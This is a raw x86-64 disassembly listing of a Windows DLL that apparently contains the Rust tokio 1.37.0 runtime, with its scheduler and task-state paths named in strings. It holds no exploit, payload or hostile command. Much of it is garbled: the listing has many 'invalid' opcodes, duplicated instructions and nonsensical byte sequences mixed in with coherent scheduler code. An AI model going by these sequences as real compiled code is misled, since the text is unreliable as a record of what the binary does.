lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, rbx
call fcn.18005f303
mov rdi, rdx
mov rbx, qword [rax]
and qword [rax], 0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.180007cc3
inc qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.18005fc1a
mov qword [rbx + 0x20], rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
add dword [rax], eax
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.180069750
int3
in al, dx
and byte [rax - 0x77], cl
iretd
mov rax, qword [rdi + 0x40]
xchg qword [rax + 0x20], rcx
call fcn.18005fb4d
mov rdi, qword [rdi + 0x40]
mov rax, qword [rdi]
test al, 1
jne 0x18006184f
mov rcx, rax
and rcx, 0xfffffffffffffffc
and ecx, 0xfffffffc
or rcx, 2
lock cmpxchg qword [rdi], rcx
jne 0x180061837
jmp 0x180061899
lea rcx, [rdi + 8]
call fcn.180060227
mov r14, rax
mov ebx, edx
mov r8, qword [rdi]
lea rcx, [rax + 8]
mov rdx, rdi
call fcn.1800618a8
test rax, rax
je 0x18006188c
mov rdi, rax
mov r15, rdx
and bl, 1
mov rcx, r14
mov edx, ebx
call fcn.180060714
mov rcx, r15
call qword [rdi + 8]
jmp 0x180061899
and bl, 1
mov rcx, r14
mov edx, ebx
call fcn.180060d58
inc qword [rsi]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
push rdi
push rbx
sub rsp, 0x28
mov rdi, r8
mov rsi, rdx
mov rax, r8
and rax, 3
je 0x1800618ce
invalid
invalid
cmp eax, 1
je 0x1800618e7
cmp eax, 2
jne 0x18006195d
mov rcx, rdi
and rcx, 0xfffffffffffffffc
or rcx, 2
leave
add cl, byte [rax - 0x77]
clc
leave
add cl, byte [rax - 0x77]
clc
lock cmpxchg qword [rsi], rcx
jne 0x180061937
xor ebx, ebx
jmp 0x18006194d
mov rax, qword [rcx + 8]
test rax, rax
je 0x180061975
invalid
add byte [rax - 0x75], cl
adc byte [rbp + rcx*4 + 0x42], cl
or byte [rax - 0x7b], cl
ror byte [rdi + rcx + 0x44], cl
ror dword [rax - 0x77], 0x51
or byte [rcx - 0x7d], cl
and byte [rax], al
mov rdx, qword [rax]
lea r8, [rdx + 8]
test rdx, rdx
cmove r8, rcx
mov qword [rcx + 8], rdx
and qword [r8], 0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
add byte [rax - 0x75], cl
pop rax
adc byte [rbx + rcx*4 + 0x70], cl
sbb byte [rax - 0x7d], cl
invalid
adc byte [rax], al
mov qword [rax + 0x20], 1
mov rcx, qword [rcx]
call fcn.18006199a
test al, al
je 0x18006194d
add byte [rax - 0x75], cl
pop rax
adc byte [rbx + rcx*4 + 0x70], cl
sbb byte [rax - 0x7d], cl
invalid
and rdi, 0xfffffffffffffffc
jmp 0x18006194a
mov rdi, rax
test dil, 1
jne 0x180061981
invalid
and rdi, 0xfffffffffffffffc
and rdi, 0xfffffffffffffffc
or rdi, 2
xor ebx, ebx
xchg qword [rsi], rdi
mov rax, rbx
mov rdx, r14
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, [0x1800811a0]
mov edx, 0x28
call fcn.180069820
lea rcx, [0x180081188]
call fcn.180069bb0
lea rcx, str.assertion_failed:_actual_state__EMPTY__actual_state__NOTIFIED
lea r8, [0x180081170]
mov edx, 0x43
call fcn.180069820
int3
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
movups xmm0, xmmword [rsi]
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsi + 0x10]
mov qword [rax + 0x20], rcx
mov dword [rax + 0x20], ecx
mov dword [rax + 0x20], ecx
add rsp, 0x20
pop rsi
ret
add byte [rbp + 0xc], dh
add rcx, 8
mov rax, rcx
add rsp, 0x58
ret
mov qword [rsp + 0x40], rbx
test bl, 4
je 0x18006287b
test bl, 3
je 0x180061aac
mov rcx, rdi
call fcn.180062f1d
mov rcx, qword [rsp + 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
jmp case.0x18005ccfd.8
mov rcx, rbx
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, ebx
shr dl, 5
and dl, 1
mov rax, rbx
lock cmpxchg qword [r14], rcx
mov rbx, rax
jne 0x180061a80
movzx eax, dl
lea rcx, [0x180083654]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp dword [r14 + 0x28], 2
jne 0x18006293f
mov rcx, qword [r14 + 0x20]
call fcn.18005f87e
mov qword [rsp + 0x118], rdx
mov rdi, qword [r14 + 0x30]
and qword [r14 + 0x30], 0
test rdi, rdi
je 0x180062975
mov rbx, rax
call fcn.18005f35d
test rax, rax
je 0x180061b1e
mov byte [rax + 0x4c], 0
mov qword [rsp + 0x98], rdi
xor esi, esi
xchg qword [rdi + 0x20], rsi
test rsi, rsi
je 0x1800624aa
mov qword [rsp + 0x110], r14
mov r12, qword [rsp + 0x98]
mov r14, qword [r12 + 0x10]
lock inc qword [r14]
jle 0x1800629a5
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x130], 1
call fcn.18005f35d
test rax, rax
je 0x180062913
mov r13, rax
mov qword [rsp + 0x108], rbx
cmp byte [rax + 0x4e], 2
jne 0x1800629a7
mov byte [r13 + 0x4e], 1
lea rcx, [r14 + 0x128]
call fcn.180060c7e
mov ebp, eax
mov r15d, edx
mov eax, dword [r13 + 0x48]
lea rcx, [rsp + 0x40]
mov dword [rcx + 8], eax
mov rax, qword [r13 + 0x40]
mov qword [rcx], rax
call fcn.180007c6f
mov edi, eax
mov ebx, edx
mov dword [r13 + 0x40], 1
mov dword [r13 + 0x44], ebp
mov dword [r13 + 0x48], r15d
lea r15, [rsp + 0x40]
mov r8d, 1
mov rcx, r15
mov rdx, r13
mov r9, r14
call fcn.18005f54f
mov rax, qword [r15]
movups xmm0, xmmword [r15 + 8]
movaps xmmword [rsp + 0xa0], xmm0
cmp rax, 4
je 0x180062913
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x120], xmm0
cmp rax, 3
je 0x1800629b7
mov r14, rsi
mov qword [rsp + 0xd8], rax
movapd xmm0, xmmword [rsp + 0x120]
movupd xmmword [rsp + 0xe0], xmm0
mov dword [rsp + 0xf0], edi
mov dword [rsp + 0xf4], ebx
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x48], r12
movupd xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x70], 8
and qword [rsp + 0x78], 0
mov qword [rsp + 0x40], 1
call fcn.18005f35d
test rax, rax
je 0x1800624bc
mov rdx, r12
lea r12, [rsp + 0x48]
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rax
mov qword [rax + 0x38], r15
mov rax, qword [rdx + 0x10]
mov al, byte [rax + 0x50]
xor al, 1
mov byte [r14 + 0x48], al
mov rcx, r14
add rcx, 0x20
call fcn.18005fc25
movsd xmm6, qword [0x18006c850]
movsd xmm7, qword [0x18006c858]
cmp byte [r14 + 0x4a], 0
jne 0x1800624cf
mov eax, dword [r14 + 0x40]
inc eax
mov dword [r14 + 0x40], eax
mov r15, qword [rsp + 0x48]
mov rcx, qword [r15 + 0x10]
mov ecx, dword [rcx + 0x40]
test ecx, ecx
je 0x180062857
xor edx, edx
div ecx
test edx, edx
jne 0x180061d3a
lea rcx, [r14 + 0x20]
call fcn.18005fda6
mov rcx, r12
mov rdx, r14
xor r8d, r8d
call fcn.18005fe5b
mov r14, rax
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rcx, r14
call fcn.1800601c7
mov rcx, r14
add rcx, 0x20
call fcn.18005fc25
mov r15, qword [rsp + 0x48]
mov r8d, dword [r14 + 0x44]
test r8d, r8d
je 0x180062863
mov eax, dword [r14 + 0x40]
xor edx, edx
div r8d
test edx, edx
je 0x180061ebd
mov rcx, r14
call fcn.18005fcf6
mov rdi, rax
test rax, rax
jne 0x180062148
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
test rax, rax
je 0x180061f6b
mov rax, qword [r14 + 0x18]
mov r9, qword [rax + 0x18]
mov edx, dword [rax + 0x20]
mov rax, qword [r15 + 0x10]
mov rax, qword [rax + 0xa8]
mov rcx, qword [r15 + 0x10]
mov r8, qword [rcx + 0x60]
test r8, r8
je 0x18006286f
shr r9, 0x20
sub edx, r9d
mov r9d, 0x100
sub r9, rdx
xor edx, edx
div r8
mov rdi, rax
inc rdi
cmp r9, rdi
cmovb rdi, r9
mov eax, 0x80
cmp rdi, rax
cmovae rdi, rax
cmp rdi, 1
adc rdi, 0
add rcx, 0xc0
call fcn.180060227
mov rbp, rax
mov ebx, edx
mov rax, qword [r15 + 0x10]
lea rcx, [rbp + 0x20]
mov rdx, qword [rax + 0xa8]
cmp rdi, rdx
cmovae rdi, rdx
sub rdx, rdi
mov qword [rax + 0xa8], rdx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rdi
lea rcx, [rsp + 0x88]
call fcn.180060258
mov rdi, rax
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
cmp rax, 0x101
lea r12, [rsp + 0xa0]
jae 0x18006298d
test rax, rax
je 0x180061f4f
mov rsi, r14
mov r15, qword [r14 + 0x18]
mov rcx, qword [r15 + 0x18]
shr rcx, 0x20
mov r14d, dword [r15 + 0x20]
mov edx, r14d
sub edx, ecx
mov ecx, 0x100
sub ecx, eax
cmp edx, ecx
ja 0x1800629ec
movupd xmm0, xmmword [rsp + 0x30]
movupd xmmword [rsp + 0xa0], xmm0
mov rcx, r12
call fcn.180060258
test rax, rax
je 0x180061f3e
movzx ecx, r14b
mov rdx, qword [r15 + 0x10]
mov qword [rdx + rcx*8], rax
inc r14d
jmp 0x180061e9b
mov rcx, qword [r15 + 0x10]
cmp dword [rcx + 0x10], 0
je 0x180061ecc
mov eax, dword [rcx + 0x14]
jmp 0x180061f01
movapd xmm0, xmm6
divsd xmm0, qword [r14 + 0x28]
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movapd xmm0, xmm7
minsd xmm0, xmm1
cvttsd2si rax, xmm0
cmp eax, 0x7f
mov edx, 0x7f
cmovae eax, edx
cmp eax, 3
mov edx, 2
cmovb eax, edx
mov edx, eax
sub edx, r8d
neg edx
mov r9d, eax
sub r9d, r8d
cmovb r9d, edx
cmp r9d, 3
jb 0x180061f1c
mov dword [r14 + 0x44], eax
add rcx, 0x10
call fcn.18005fd23
mov rdi, rax
test rax, rax
jne 0x180062148
mov rcx, r14
call fcn.18005fcf6
mov rdi, rax
jmp 0x180061f6b
mov rcx, r12
call fcn.18006028d
mov dword [r15 + 0x20], r14d
mov r14, rsi
jmp 0x180061f59
lea rcx, [rsp + 0x30]
call fcn.18006028d
and bl, 1
mov rcx, rbp
mov edx, ebx
call fcn.180060d58
lea r12, [rsp + 0x48]
xor ecx, ecx
call fcn.180060d4e
test rdi, rdi
jne 0x180062148
xor ecx, ecx
call fcn.180060d4e
lea rsi, [r14 + 0x20]
mov rcx, rsi
call fcn.18005fda6
mov rbx, qword [rsp + 0x48]
and al, 0x48
cmp byte [r14 + 0x49], 0
jne 0x180061fc4
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax + 0xb0]
movzx ecx, cx
add ecx, ecx
cmp rcx, qword [rax + 0xb8]
jae 0x180062167
mov eax, 0xf000000
xor dword [rax - 0xfffffff], 0x48
inc dword [rax + 0xb0]
add byte [rax], al
invalid
lock inc qword [rax + 0xb0]
mov byte [r14 + 0x49], 1
add qword [r8 - 0x77], rcx
mov ah, 0x24
add byte [rax], 0
add byte [rax], al
mov qword [rsp + 0x80], rsi
mov rax, qword [rbx + 0x10]
mov rdi, qword [rax + 0x60]
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [r8 - 0x75], cl
js 0x180062034
lea rcx, [r14 + 0x10]
mov edx, edi
call fcn.18005fc43
invalid
invalid
mov ebp, eax
xor eax, eax
cmp rax, rdi
clc
je 0x180062121
lea r15, [rax + 1]
add rax, rbp
xor edx, edx
ror byte [rax - 9], cl
test dword [rcx + rcx*4 - 8], 0x18533b48
ror byte [rax - 9], cl
test dword [rcx + rcx*4 - 8], 0x18533b48
je 0x180061fe3
mov rcx, qword [rbx + 0x10]
mov rax, qword [rcx + 0x60]
cmp rdx, rax
jae 0x180062845
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + 0x58]
mov r8, qword [r14 + 0x18]
mov r9d, dword [r8 + 0x20]
mov rcx, qword [r8 + 0x18]
shr rcx, 0x20
mov r10d, r9d
sub r10d, ecx
cmp r10d, 0x80
ja 0x180062112
xchg ecx, ebx
add byte [rax], al
add byte [rcx + rcx*4 - 0xa], cl
mov rsi, r14
shl rdx, 4
mov rdx, qword [rax + rdx]
mov rax, qword [rdx + 0x18]
mov r10, rax
shr r10, 0x20
invalid
and byte [rbx + rcx*4 + 0x5a], al
and byte [rcx + 0x39], al
ret 0x6f75
invalid
mov r13d, r11d
sub r13d, r10d
invalid
mov r14d, r13d
shr r14d, 1
sub r13d, r14d
je 0x1800620c7
invalid
lea r12d, [r10 + r13]
mov rcx, rax
shl rcx, 0x20
or rcx, r12
lock cmpxchg qword [rdx + 0x18], rcx
cmpxchg qword [rdx + 0x18], rcx
cmpxchg qword [rdx + 0x18], rcx
jne 0x180062048
mov dword [rsp + 0x2c], r13d
insb byte [rdi], dx
and al, 0x2c
cmp r13d, 0x80
ja 0x1800628c4
sub r11d, r14d
mov eax, r9d
cmp r11d, r10d
je 0x1800620cc
mov r14d, eax
mov r13d, 0xff
and r14d, r13d
mov r12d, r10d
and r12d, r13d
and esp, ebp
and esp, ebp
mov r13, qword [rdx + 0x10]
mov r12, qword [r13 + r12*8]
mov r13, qword [r8 + 0x10]
mov qword [r13 + r14*8], r12
inc eax
inc r10d
jmp 0x180062097
mov r14, rsi
jmp 0x180062112
mov r14, rsi
movabs r11, 0x100000001
mov r10d, ecx
imul r10, r11
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r10
je 0x180062106
mov rcx, rax
shr rax, 0x20
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x30], ecx
cmp eax, ecx
jne 0x1800620d9
jmp 0x18006289f
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x180062254
xor ecx, ecx
call fcn.180060d4e
mov rax, r15
jmp 0x180061fe3
mov rcx, qword [rbx + 0x10]
add rcx, 0x10
call fcn.18005fd23
mov rdi, rax
test rax, rax
lea r12, [rsp + 0x48]
je 0x18006216c
mov rcx, qword [rsp + 0x80]
call fcn.18005fc25
invalid
invalid
invalid
invalid
mov rcx, r12
mov rdx, rdi
mov r8, r14
call case.0x1800484d2.249
mov r14, rax
test rax, rax
jne 0x180061cc9
invalid
invalid
jmp 0x18006275d
mov byte [r14 + 0x49], 0
add byte [r8 - 0x73], cl
and al, 0x60
lea rcx, [rsp + 0x60]
call case.0x18004d727.100
test al, al
je 0x1800621dd
mov r15, qword [rsp + 0x48]
mov rcx, qword [r15 + 0x10]
mov rax, qword [rcx + 0x20]
and byte [r8 - 0x7b], cl
invalid
je 0x1800621aa
and byte [r8 - 0x7b], cl
sal byte [rsi + rbx + 0x48], 0x8b
push rcx
sub byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x10]
dec rcx
mov ecx, dword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov r15, qword [rsp + 0x48]
cmp qword [r14], 0
je 0x1800621fc
add byte [rsp + rcx*2 + 0x48], dh
mov eax, dword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x1800621ee
mov rdx, qword [rcx + 0x38]
mov rcx, qword [rdx + 0x10]
adc byte [rax - 1], cl
leave
adc byte [rax - 1], cl
leave
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
jmp 0x1800621ee
mov rcx, r12
mov rdx, r14
xor r8d, r8d
shr al, 0x70
fdiv st(7), st(0)
dec dword [rcx - 0x77]
invalid
shr al, 0x70
fdiv st(7), st(0)
dec dword [rcx - 0x77]
invalid
lea rcx, [r14 + 0x20]
call fcn.18005fc25
jmp 0x180061cc9
mov rax, qword [r14 + 0x18]
mov eax, dword [rsi + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
cmp eax, ecx
jne case.0x18004b2bd.188
cmp byte [r14 + 0x4b], 0
jne case.0x18004b2bd.188
mov rax, r14
mov r14, qword [r15 + 0x10]
invalid
adc byte [rcx - 0x75], cl
outsd dx, dword [rsi]
sbb byte [rax - 0x77], cl
mov byte [rdx + rcx*4 + 0x60], 0x49
mov rbp, qword [r15 + 0x18]
mov rsi, rax
mov r12b, byte [rax + 0x49]
mov ah, byte [rax + 0x49]
lea rcx, [r14 + 0xc0]
call fcn.180060227
invalid
invalid
dec dword [rax - 0x77]
invalid
mov ebx, edx
rol dword [rbp - 0x7c], cl
in al, 0x74
invalid
invalid
rol dword [rbp - 0x7c], cl
in al, 0x74
mov rax, 0xfffffffffffeffff
invalid
invalid
invalid
invalid
mov rax, 0xfffffffffffeffff
invalid
lock xadd qword [r14 + 0xb0], rax
cmp ax, 1
xchg byte [rax + 0x66000000], dh
cmp eax, 1
clc
add dword [rcx + 0xf], eax
xchg esp, eax
sete r14b
jmp 0x180062287
invalid
mov ecx, eax
add eax, r9d
dec eax
movzx edx, al
mov r9, qword [r8 + 0x10]
adc byte [rcx - 0x75], cl
cmp al, 0xd1
adc byte [rcx - 0x75], cl
cmp al, 0xd1
dec ecx
je 0x18006226e
add al, 0x41
mov dword [rax + 0x20], eax
mov dword [r8 + 0x20], eax
lea r12, [rsp + 0x48]
jmp 0x18006213b
lock sub qword [r14 + 0xb0], 0x10000
mov al, 0
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rbp + 0x31], al
xor esi, esi
mov rax, qword [rdi + 0x18]
cmp rax, qword [rdi + 8]
jne case.0x1800642bc.119
xor r14d, r14d
xor esi, esi
mov rax, qword [rdi + 0x18]
cmp rax, qword [rdi + 8]
jne case.0x1800642bc.119
mov rcx, rdi
add rcx, 8
call fcn.180061286
mov rax, qword [rdi + 0x18]
and bl, 1
mov rcx, qword [rdi + 0x10]
mov qword [rcx + rax*8], rbp
inc rax
inc eax
inc eax
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x18], eax
mov rcx, rdi
mov edx, ebx
call fcn.180060d58
mov byte [rsi + 0x49], 0
test r14b, r14b
je 0x180062301
mov rax, qword [r15 + 0x10]
lea rcx, [rax + 0x10]
adc byte [rax - 0x75], cl
push rax
pop rax
adc byte [rax - 0x75], cl
push rax
pop rax
mov r8, qword [rax + 0x60]
shl r8, 4
xor r9d, r9d
mov r14, rsi
lea r12, [rsp + 0x48]
cmp r8, r9
je 0x18006230b
mov r10, qword [rdx + r9]
mov r11, qword [r10 + 0x18]
mov r10d, dword [r10 + 0x20]
add r9, 0x10
cmp r10d, r11d
invalid
je 0x1800622e5
fidiv dword [rsi + riz*8 - 0x15]
invalid
jmp 0x180062317
mov r14, rsi
lea r12, [rsp + 0x48]
jmp 0x18006231c
mov rax, qword [rax + 0xa8]
test rax, rax
je 0x18006231c
call fcn.18006052c
cmp byte [r14 + 0x4a], 0
jne case.0x18004b2bd.188
cmp byte [r14 + 0x4b], 0
jne case.0x18004b2bd.188
mov rcx, r12
mov rdx, r14
mov r8d, 0x3b9aca00
call fcn.18005fe5b
mov r14, rax
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
sbb byte [rcx + rcx*4 - 0xf], cl
sbb byte [rcx + rcx*4 - 0xf], cl
call fcn.1800601c7
mov rax, qword [rsp + 0x48]
cmp qword [r14], 0
jne 0x1800623cd
mov rcx, qword [r14 + 0x18]
mov rdx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x20]
cmp ecx, edx
sbb byte [rax - 0x75], cl
push rcx
sbb byte [rbx - 0x2ec6dfb7], cl
jne 0x1800623cd
mov rdi, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov eax, 0xc0
add rcx, rax
call fcn.180060227
and dl, 1
mov rcx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
shl r8, 3
xor r9d, r9d
cmp r8, r9
cmp eax, ecx
je 0x1800623bb
sbb cl, byte [rbp - 0x73]
push rcx
or byte [rdx + 0x39], cl
cmp al, 9
lea r10, [r9 + 8]
cmp qword [rcx + r9], rdi
mov r9, r10
jne 0x18006239c
mov rcx, rax
call fcn.180060d58
jmp 0x18006231c
invalid
invalid
invalid
invalid
mov rcx, rax
call fcn.180060d58
mov byte [r14 + 0x49], 1
jmp case.0x18004b2bd.188
mov rsi, r14
mov rdi, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
lea rcx, [rdi + 0xc0]
call fcn.180060227
and dl, 1
mov rbx, qword [rax + 0x18]
mov rcx, rbx
neg rcx
mov r8, 0xffffffffffffffff
lea r9, [rcx + r8]
cmp r9, 0xffffffffffffffff
je 0x180062433
mov r9, qword [rax + 0x10]
lea r15, [r8 + 1]
cmp qword [r9 + r8*8 + 8], r14
mov r8, r15
jne 0x1800623f8
mov qword [r9 + r15*8], r8
mov qword [rax + 0x18], rcx
lock add qword [rdi + 0xb0], 0x10000
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
jmp 0x180062436
mov r15, rbx
mov rcx, rax
call fcn.180060d58
dec dword [rcx + 0x39]
invalid
dec dword [rcx + 0x39]
fisttp word [rcx - 0x77]
mov r14, rsi
setae byte [rsi + 0x49]
jmp case.0x18004b2bd.188
mov r14, rsi
setae byte [rsi + 0x49]
jmp case.0x18004b2bd.188
movaps xmm6, xmmword [rsp + 0x140]
movaps xmm7, xmmword [rsp + 0x150]
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x150], bh
add rsp, 0x168
pop rbx
pop rbp
add dword [rax], eax
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
movaps xmm6, xmmword [rsp + 0x140]
movaps xmm7, xmmword [rsp + 0x150]
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x180062de3
lea rcx, [r14 + 0x20]
call fcn.180062c5d
jmp 0x18006280d
lea rcx, [rsp + 0x98]
call fcn.18005f8f8
jmp 0x1800627d1
mov rcx, r14
mov r14, rax
call fcn.18005e6a6
mov rax, r14
jmp 0x180062789
mov rsi, qword [rsp + 0x48]
mov r12, r14
lea rcx, [r14 + 0x10]
mov r15, qword [rsi + 0x10]
mov rdi, qword [r15 + 0x80]
lea edx, [rdi + 1]
call fcn.18005fc43
mov r13d, eax
mov byte [r15 + 0x90], 1
lea rbp, [rdi + r13]
inc rbp
mov r14b, 1
cmp r13, rbp
jae 0x1800625bc
mov rcx, qword [r15 + 0x68]
mov rax, qword [r15 + 0x80]
and rax, r13
imul rdx, rax, 0x18
lea rdi, [rcx + rdx]
xor eax, eax
lock cmpxchg byte [rcx + rdx], r14b
jne 0x1800625a2
lea rcx, [rdi + 1]
call fcn.18001cfc2
and dl, 1
mov rbx, qword [rdi + 0x10]
test rbx, rbx
je 0x1800625ac
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
mov rcx, qword [rbx + rax]
mov qword [rdi + 0x10], rcx
test rcx, rcx
je 0x18006256e
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
and qword [rcx + rax + 8], 0
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x180062573
and qword [rdi + 8], 0
and qword [rbx + rax], 0
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
and qword [rbx + rax + 8], 0
lock dec qword [r15 + 0x78]
mov rcx, rdi
call fcn.180060d58
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x18006250c
mov rcx, rdi
call fcn.18006a610
jmp 0x18006252c
inc r13
mov rcx, rdi
call fcn.180060d58
jmp 0x180062503
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rax + 0xa0]
cmp rcx, rdx
jae 0x180062893
mov rax, qword [rsp + 0x48]
mov rbx, qword [rax + 0x10]
lea rsi, [rbx + 0xf8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0xf8], cl
mov r14, r12
jne 0x180062838
lea rcx, [rbx + 0xf9]
call fcn.18001cfc2
mov ebp, edx
and bpl, 1
lea rdi, [rbx + 0x100]
mov rcx, rdi
mov rdx, r14
call fcn.18005fc61
mov rdx, qword [rbx + 0x110]
cmp rdx, qword [rbx + 0x60]
jne 0x180062753
mov byte [rsp + 0x80], bpl
and qword [rbx + 0x110], 0
mov rax, qword [rbx + 0x108]
lea rcx, [rax + rdx*8]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], rdx
and qword [rsp + 0xc0], 0
lea r15, [rbx + 0x10]
lea rbx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
mov bpl, 1
lea r12, [rsp + 0x30]
cmp rax, rcx
je 0x180062720
lea rcx, [rax + 8]
mov qword [rsp + 0xa0], rcx
mov r13, qword [rax]
mov rdi, qword [r13 + 8]
and qword [r13 + 8], 0
mov rcx, rdi
mov rdx, rbx
call fcn.18005fcd0
mov qword [rsp + 0x30], rdi
mov rcx, r13
call fcn.18005fcf6
mov r14, rax
mov rcx, rax
call fcn.180060d4e
test r14, r14
jne 0x1800626b6
mov r14, qword [rdi + 0x10]
xor eax, eax
lock cmpxchg byte [r14 + 0x18], bpl
jne 0x1800626ef
mov rcx, qword [r14 + 0x10]
add rcx, 0x18
call fcn.180059bf0
xor eax, eax
xchg byte [r14 + 0x18], al
add rdi, 0x20
mov rcx, rdi
call fcn.180059bf0
mov rcx, r12
call fcn.18005e766
mov rcx, r13
call fcn.18005e6a6
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
jmp 0x180062685
lea rcx, [rsp + 0xa0]
call fcn.18005fc98
mov bpl, byte [rsp + 0x80]
mov rcx, r15
call fcn.18005fd23
test rax, rax
je 0x18006274c
mov rcx, rax
call fcn.18005e8ea
jmp 0x180062735
xor ecx, ecx
call fcn.180060d4e
mov rcx, rsi
mov edx, ebp
call fcn.180060d58
lea rcx, [rsp + 0x60]
call fcn.18006060e
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xf8]
mov qword [rax + 0x38], rcx
mov edi, dword [rsp + 0xf0]
mov ebx, dword [rsp + 0xf4]
test rax, rax
sete cl
call fcn.18005f326
lea rcx, [rsp + 0x40]
call fcn.18005f98a
mov ecx, edi
mov edx, ebx
call fcn.18005f9dd
lea rcx, [rsp + 0xd8]
call fcn.18005f229
lea rcx, [rsp + 0x130]
call fcn.18005dedd
mov rbx, qword [rsp + 0x108]
mov r14, qword [rsp + 0x110]
lea rdi, [r14 + 0x20]
mov rcx, rbx
mov rdx, qword [rsp + 0x118]
call fcn.18005f8bf
mov rcx, rdi
call fcn.18005f96f
xorpd xmm0, xmm0
lea rdx, [rsp + 0x40]
movapd xmmword [rdx], xmm0
mov qword [rdx + 0x20], rdi
mov rcx, rdi
call fcn.18005f835
xor ecx, ecx
call fcn.18005e564
mov rcx, r14
movaps xmm6, xmmword [rsp + 0x140]
movaps xmm7, xmmword [rsp + 0x150]
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x180062c91
mov rcx, rsi
call fcn.18006a610
jmp 0x1800625f9
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdx
mov rdx, rax
call fcn.1800697a0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.180069dd0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.180069dd0
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.180069a10
lea rcx, str.assertion_failed:_next.is_notified__registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_task_state.rs
lea r8, [0x180080a68]
mov edx, 0x24
call fcn.180069820
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1800697a0
lea r8, [rsp + 0xa0]
and qword [r8], 0
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x30]
call fcn.18006b032
